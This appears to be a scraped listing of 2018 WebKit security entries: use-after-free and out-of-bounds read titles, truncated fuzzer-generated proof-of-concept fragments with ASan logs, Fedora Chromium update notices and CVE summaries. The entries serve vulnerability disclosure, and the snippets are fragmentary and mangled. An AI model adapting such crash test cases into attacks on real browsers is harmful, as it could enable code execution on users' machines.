WebKit - 'WebCore::SVGAnimateElementBase::resetAnimatedType' Use-After-Free

function eventhandler2 try var var00138 = svgvar00013.parentNode; catche try htmlvar00006.setAttribute"onfocusin", "eventhandler2"; catche try svgvar00001.aftervar00138; catche function eventhandler5 try htmlvar00028.autofocus = true; catche try htmlvar00034.appendChildhtmlvar00006; catche !--...

WebKit - 'WebCore::RenderTreeBuilder::removeAnonymousWrappersForInlineChildrenIfNeeded' Use-After-Free

::selection, input:focus, .class0, ul::first-letter -webkit-column-count: 85; float: left; function jsfuzzer var fuzzervars = ; try / / var00034 = document.getSelection; catche try var00034.setPositionhtmlvar00003; var var00043 catche try / newvarvar00104:Element / var var00104 = htmlvar00013;...

WebKit - WebCore::RenderMultiColumnSet::updateMinimumColumnHeight Use-After-Free

WebKit - WebCore::RenderMultiColumnSet::updateMinimumColumnHeight Use-After-Free htmlvar00002, htmlvar00006 column-span: all; :root 1px; position: fixed; -webkit-column-width: 1px; .class2 text-indent: -webkit-shape-margin: 0px; -webkit-writing-mode: vertical-rl; '.' defselement, .class8 display:...

WebKit WebCore::InlineTextBox::paint Out-Of-Bounds Read

WebKit: Out-of-bounds read in WebCore::InlineTextBox::paint CVE-2018-4328 There is a out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on the ASan build of WebKit revision 233419 on OSX. The vulnerability has also been confirmed on Safari 11.1.1 sources grabbed...

WebKit - WebCore::RenderLayer::updateDescendantDependentFlags Use-After-Free

WebKit - WebCore::RenderLayer::updateDescendantDependentFlags Use-After-Free htmlvar00005, noframes, diplay: inline; padding-top: 0vw; -webkit-column-count: 41; transition-delay: body::first-letter box-flex-group: -webkit-background-size: contain; -webkit-opacity: 0.716727864979; htmlvar00001,...

WebKit WebCore::RenderLayer::updateDescendantDependentFlags Use-After-Free

WebKit: Use-after-free in WebCore::RenderLayer::updateDescendantDependentFlags CVE-2018-4317 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the ASan build of the latest WebKit source on OSX. PoC:...

WebKit - 'WebCore::AXObjectCache::handleMenuItemSelected' Use-After-Free

function jsfuzzer var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==69238==ERROR: AddressSanitizer: heap-use-after-free on address 0x6120000aaa54 at pc 0x0003280b861a bp...

WebKit - 'WebCore::Node::ensureRareData' Use-After-Free

.class1 -webkit-mask-box-image-source: urlfoo; function freememory var a; forvar i=0;i100;i++ a = new Uint8Array10241024; document.implementation.createHTMLDocument"doc"; function jsfuzzer try var00097 = document.createElement"source"; catche try var00097.addEventListener"DOMSubtreeModified",...

WebKit - 'WebCore::RenderLayer::updateDescendantDependentFlags' Use-After-Free

htmlvar00005, noframes, diplay: inline; padding-top: 0vw; -webkit-column-count: 41; transition-delay: body::first-letter box-flex-group: -webkit-background-size: contain; -webkit-opacity: 0.716727864979; htmlvar00001, .class1 1vmax; display: contents; left: transform-style: inherit;...

WebKit - 'WebCore::RenderMultiColumnSet::updateMinimumColumnHeight' Use-After-Free

htmlvar00002, htmlvar00006 column-span: all; :root 1px; position: fixed; -webkit-column-width: 1px; .class2 text-indent: -webkit-shape-margin: 0px; -webkit-writing-mode: vertical-rl; '.' defselement, .class8 display: grid; 1s; function jsfuzzer / newvarhtmlvar00078:HTMLHRElement / htmlvar00078 =...

WebKit - 'WebCore::SVGTRefElement::updateReferencedText' Use-After-Free

function freememory forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==69919==ERROR: AddressSanitizer: heap-use-after-free on address 0x615000090e14 at pc 0x00011551a61a bp 0x7ffee91562a0...

[SECURITY] Fedora 27 Update: chromium-69.0.3497.92-1.fc27

Chromium is an open-source web browser, powered by WebKit Blink...

[SECURITY] Fedora 28 Update: chromium-69.0.3497.92-1.fc28

Chromium is an open-source web browser, powered by WebKit Blink...

Apple iOS 11.x - Webkit Filter Backdrop DoS Vulnerability

Document Title: =============== Apple iOS 11.x - Webkit Filter Backdrop DoS Vulnerability References: =========== https://www.vulnerability-lab.com/getcontent.php?id=2150 View Video: https://www.youtube.com/watch?v=oKtF9q15Unw Release Date: ============= 2018-09-19 Vulnerability Laboratory ID...

Apple WebKit Use After Free Code Execution (CVE-2018-4312)

A use-after-free vulnerability exists in Apple WebKit. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...

Apple WebKit Use After Free Code Execution (CVE-2018-4317)

A use-after-free vulnerability exists in Apple WebKit. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...

Apple WebKit Out Of Bounds Read (CVE-2018-4328)

A out of bounds read vulnerability exists in Apple Webkit. Successful exploitation of this vulnerability could allow a remote attacker to obtain sensitive information...

Apple WebKit Use After Free Code Execution (CVE-2018-4197)

A use-after-free vulnerability exists in Apple WebKit. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...

Apple WebKit Use After Free Code Execution (CVE-2018-4323)

A use-after-free vulnerability exists in Apple WebKit. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...

Apple WebKit Use After Free Code Execution (CVE-2018-4318)

A use-after-free vulnerability exists in Apple WebKit. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...